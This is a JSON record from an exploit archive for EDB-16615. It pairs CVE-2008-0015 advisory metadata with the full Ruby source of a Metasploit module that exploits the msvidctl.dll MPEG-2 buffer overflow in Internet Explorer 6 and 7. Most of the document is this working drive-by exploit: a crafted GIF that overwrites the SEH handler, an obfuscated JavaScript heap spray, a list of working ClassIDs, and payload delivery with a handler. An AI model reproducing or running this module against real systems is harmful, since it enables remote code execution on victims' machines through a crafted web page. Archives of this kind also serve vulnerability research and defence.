{"exploit":{"id":"EDB-16615","name":"Microsoft DirectShow - 'msvidctl.dll' MPEG-2 Memory Corruption (MS09-032/MS09-037) (Metasploit)","description":"Microsoft DirectShow - 'msvidctl.dll' MPEG-2 Memory Corruption (MS09-032/MS09-037) (Metasploit)","cves":["CVE-2008-0015"],"author":"Metasploit","published":"2010-04-30","platform":"windows","type":"local","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/16615","path":"exploits/windows/local/16615.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-16615.rb","vulnerabilities":[{"id":"CVE-2008-0015","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the CComVariant::ReadFromStream function in the Active Template Library (ATL), as used in the MPEG2TuneRequest ActiveX control in msvidctl.dll in DirectShow, in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP2, Vista Gold, SP1, and SP2, and Server 2008 Gold and SP2 allows remote attackers to execute arbitrary code via a crafted web page, as exploited in the wild in July 2009, aka \"Microsoft Video ActiveX Control Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0015","cvss":{"version":"3.1","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2008-0015"},"updatedAt":"2026-02-18T04:56:26.652Z","retrievedAt":"2026-11-26T16:21:07.979Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-16615.png?v=2","url":"https://exploitbin.com/exploits/EDB-16615","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-16615/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-16615/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: msvidctl_mpeg2.rb 9179 2010-04-30 08:40:19Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\n##\n# msvidctl_mpeg2.rb\n#\n# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework\n#\n# Tested successfully on the following platforms (fully patched 06/07/09):\n#  - Internet Explorer 6, Windows XP SP2\n#  - Internet Explorer 7, Windows XP SP3\n#\n# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.\n# The original exploit can be found here (shellcode changed to execute calc.exe):\n# http://www.rec-sec.com/exploits/aa.rar\n#\n# Trancer\n# http://www.rec-sec.com\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = NormalRanking\n\n\tinclude Msf::Exploit::Remote::HttpServer::HTML\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a memory corruption within the MSVidCtl component of Microsoft\n\t\t\t\tDirectShow (BDATuner.MPEG2TuneRequest).\n\t\t\t\tBy loading a specially crafted GIF file, an attacker can overrun a buffer and\n\t\t\t\texecute arbitrary code.\n\n\t\t\t\tClassID is now configurable via an advanced option (otherwise randomized) - I)ruid\n\t\t\t},\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ],\n\t\t\t'Version'        => '$Revision: 9179 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2008-0015' ],\n\t\t\t\t\t[ 'OSVDB', '55651' ],\n\t\t\t\t\t[ 'BID', '35558' ],\n\t\t\t\t\t[ 'MSB', 'MS09-032' ],\n\t\t\t\t\t[ 'MSB', 'MS09-037' ],\n\t\t\t\t\t[ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'         => 1024,\n\t\t\t\t\t'BadChars'      => \"\\x00\\x09\\x0a\\x0d'\\\\\",\n\t\t\t\t\t'StackAdjustment' => -3500,\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]\n\t\t\t\t],\n\t\t\t'DisclosureDate' => 'Jul 05 2009',\n\t\t\t'DefaultTarget'  => 0))\n\n\t\tregister_advanced_options(\n\t\t\t[\n\t\t\t\tOptString.new('ClassID', [ false, \"Specific ClassID to use (otherwise randomized)\", nil ]),\n\t\t\t], self.class)\n\n\t\t@javascript_encode_key = rand_text_alpha(rand(10) + 10)\n\tend\n\n\tdef on_request_uri(cli, request)\n\n\t\tif (request.uri.match(/\\.gif$/i))\n\n\t\t\tprint_status(\"Sending GIF to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t\tgif =  \"\\x00\\x03\\x00\\x00\\x11\\x20\\x34\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\tgif << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\tgif << \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n\t\t\tgif << \"\\xFF\\xFF\\xFF\\xFF\"\t# End of SEH chain\n\t\t\tgif << [target.ret].pack('V')\t# SE Handler\n\t\t\tgif << \"\\x00\"\n\n\t\t\tsend_response(cli, gif, { 'Content-Type' => 'image/gif' })\n\n\t\t\treturn\n\t\tend\n\n\t\tif (!request.uri.match(/\\?\\w+/))\n\t\t\tsend_local_redirect(cli, \"?#{@javascript_encode_key}\")\n\t\t\treturn\n\t\tend\n\n\t\tprint_status(\"Sending HTML to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t# Re-generate the payload\n\t\treturn if ((p = regenerate_payload(cli)) == nil)\n\n\t\t# Class IDs\n\t\tallclsids = [ # all IDs from the advisory\n\t\t\t\"011B3619-FE63-4814-8A84-15A194CE9CE3\", # doesn't work\n\t\t\t\"0149EEDF-D08F-4142-8D73-D23903D21E90\", # doesn't work\n\t\t\t\"0369B4E5-45B6-11D3-B650-00C04F79498E\", # works\n\t\t\t\"0369B4E6-45B6-11D3-B650-00C04F79498E\", # works\n\t\t\t\"055CB2D7-2969-45CD-914B-76890722F112\", # works\n\t\t\t\"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF\", # works\n\t\t\t\"15D6504A-5494-499C-886C-973C9E53B9F1\", # works\n\t\t\t\"1BE49F30-0E1B-11D3-9D8E-00C04F72D980\", # doesn't work\n\t\t\t\"1C15D484-911D-11D2-B632-00C04F79498E\", # doesn't work\n\t\t\t\"1DF7D126-4050-47F0-A7CF-4C4CA9241333\", # doesn't work\n\t\t\t\"2C63E4EB-4CEA-41B8-919C-E947EA19A77C\", # doesn't work\n\t\t\t\"334125C0-77E5-11D3-B653-00C04F79498E\", # doesn't work\n\t\t\t\"37B0353C-A4C8-11D2-B634-00C04F79498E\", # doesn't work\n\t\t\t\"37B03543-A4C8-11D2-B634-00C04F79498E\", # doesn't work\n\t\t\t\"37B03544-A4C8-11D2-B634-00C04F79498E\", # doesn't work\n\t\t\t\"418008F3-CF67-4668-9628-10DC52BE1D08\", # doesn't work\n\t\t\t\"4A5869CF-929D-4040-AE03-FCAFC5B9CD42\", # doesn't work\n\t\t\t\"577FAA18-4518-445E-8F70-1473F8CF4BA4\", # doesn't work\n\t\t\t\"59DC47A8-116C-11D3-9D8E-00C04F72D980\", # works\n\t\t\t\"7F9CB14D-48E4-43B6-9346-1AEBC39C64D3\", # doesn't work\n\t\t\t\"823535A0-0318-11D3-9D8E-00C04F72D980\", # doesn't work\n\t\t\t\"8872FF1B-98FA-4D7A-8D93-C9F1055F85BB\", # doesn't work\n\t\t\t\"8A674B4C-1F63-11D3-B64C-00C04F79498E\", # works\n\t\t\t\"8A674B4D-1F63-11D3-B64C-00C04F79498E\", # works\n\t\t\t\"9CD64701-BDF3-4D14-8E03-F12983D86664\", # doesn't work\n\t\t\t\"9E77AAC4-35E5-42A1-BDC2-8F3FF399847C\", # doesn't work\n\t\t\t\"A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980\", # doesn't work\n\t\t\t\"A2E3074E-6C3D-11D3-B653-00C04F79498E\", # doesn't work\n\t\t\t\"A2E30750-6C3D-11D3-B653-00C04F79498E\", # works\n\t\t\t\"A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE\", # doesn't work\n\t\t\t\"AD8E510D-217F-409B-8076-29C5E73B98E8\", # doesn't work\n\t\t\t\"B0EDF163-910A-11D2-B632-00C04F79498E\", # doesn't work\n\t\t\t\"B64016F3-C9A2-4066-96F0-BD9563314726\", # works\n\t\t\t\"BB530C63-D9DF-4B49-9439-63453962E598\", # doesn't work\n\t\t\t\"C531D9FD-9685-4028-8B68-6E1232079F1E\", # doesn't work\n\t\t\t\"C5702CCC-9B79-11D3-B654-00C04F79498E\", # doesn't work\n\t\t\t\"C5702CCD-9B79-11D3-B654-00C04F79498E\", # doesn't work\n\t\t\t\"C5702CCE-9B79-11D3-B654-00C04F79498E\", # doesn't work\n\t\t\t\"C5702CCF-9B79-11D3-B654-00C04F79498E\", # doesn't work\n\t\t\t\"C5702CD0-9B79-11D3-B654-00C04F79498E\", # doesn't work\n\t\t\t\"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7\", # works\n\t\t\t\"CAAFDD83-CEFC-4E3D-BA03-175F17A24F91\", # doesn't work\n\t\t\t\"D02AAC50-027E-11D3-9D8E-00C04F72D980\", # doesn't work\n\t\t\t\"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E\", # works\n\t\t\t\"FA7C375B-66A7-4280-879D-FD459C84BB02\", # doesn't work\n\t\t]\n\t\tclsids = [ # these all work\n\t\t\t\"0369B4E5-45B6-11D3-B650-00C04F79498E\", # works\n\t\t\t\"0369B4E6-45B6-11D3-B650-00C04F79498E\", # works\n\t\t\t\"055CB2D7-2969-45CD-914B-76890722F112\", # works\n\t\t\t\"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF\", # works\n\t\t\t\"15D6504A-5494-499C-886C-973C9E53B9F1\", # works\n\t\t\t\"59DC47A8-116C-11D3-9D8E-00C04F72D980\", # works\n\t\t\t\"8A674B4C-1F63-11D3-B64C-00C04F79498E\", # works\n\t\t\t\"8A674B4D-1F63-11D3-B64C-00C04F79498E\", # works\n\t\t\t\"A2E30750-6C3D-11D3-B653-00C04F79498E\", # works\n\t\t\t\"B64016F3-C9A2-4066-96F0-BD9563314726\", # works\n\t\t\t\"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7\", # works\n\t\t\t\"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E\", # works\n\t\t]\n\t\tclassid = datastore['ClassID'] || clsids[rand(clsids.size)]\n\n\t\t# Encode the shellcode\n\t\tshellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n\t\t# Setup exploit buffers\n\t\tnops \t  = Rex::Text.to_unescape([target.ret].pack('V'))\n\t\tblocksize = 0x40000\n\t\tfillto    = 500\n\n\t\t# Randomize the javascript variable names\n\t\tmsvidctl     = rand_text_alpha(rand(100) + 1)\n\t\tdiv\t     = rand_text_alpha(rand(100) + 1)\n\t\tj_shellcode  = rand_text_alpha(rand(100) + 1)\n\t\tj_nops       = rand_text_alpha(rand(100) + 1)\n\t\tj_headersize = rand_text_alpha(rand(100) + 1)\n\t\tj_slackspace = rand_text_alpha(rand(100) + 1)\n\t\tj_fillblock  = rand_text_alpha(rand(100) + 1)\n\t\tj_block      = rand_text_alpha(rand(100) + 1)\n\t\tj_memory     = rand_text_alpha(rand(100) + 1)\n\t\tj_counter    = rand_text_alpha(rand(30) + 2)\n\n\t\thost = Rex::Socket.source_address(cli.peerhost) + \":\" + datastore[\"SRVPORT\"]\n\t\tgif_uri = \"http#{(datastore['SSL'] ? 's' : '')}://#{host}\"\n\t\tif (\"/\" == get_resource[-1,1])\n\t\t\tgif_uri << get_resource[0, get_resource.length - 1]\n\t\telse\n\t\t\tgif_uri << get_resource\n\t\tend\n\t\tgif_uri << \"/\" + Time.now.to_i.to_s + \".gif\"\n\n\t\tjs = %Q|#{j_shellcode}=unescape('#{shellcode}');\n#{j_nops}=unescape('#{nops}');\n#{j_headersize}=20;\n#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;\nwhile(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};\n#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});\n#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});\nwhile(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};\n#{j_memory}=new Array();\nfor(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};\n\nvar #{msvidctl}=document.createElement('object');\n#{div}.appendChild(#{msvidctl});\n#{msvidctl}.width='1';\n#{msvidctl}.height='1';\n#{msvidctl}.data='#{gif_uri}';\n#{msvidctl}.classid='clsid:#{classid}';|\n\n\t\tjs_encoded = encrypt_js(js, @javascript_encode_key)\n\n\t\thtml = %Q|<html>\n<body>\n<div id=\"#{div}\">\n<script>\n#{js_encoded}\n</script>\n</body>\n</html>|\n\n\t\tprint_status(\"Sending exploit to #{cli.peerhost}:#{cli.peerport}...\")\n\n\t\t# Transmit the response to the client\n\t\tsend_response(cli, html, { 'Content-Type' => 'text/html' })\n\n\t\t# Handle the payload\n\t\thandler(cli)\n\tend\n\nend","sha256":"c785325a42f5d6b918b0d539c41dbacb9126ab1b7c6e08c6a1b1f312cc63d5fd","bytes":8924,"fetchedAt":"2026-11-27T03:11:40.479Z","encoding":"utf-8 (display only; download retains original bytes)"}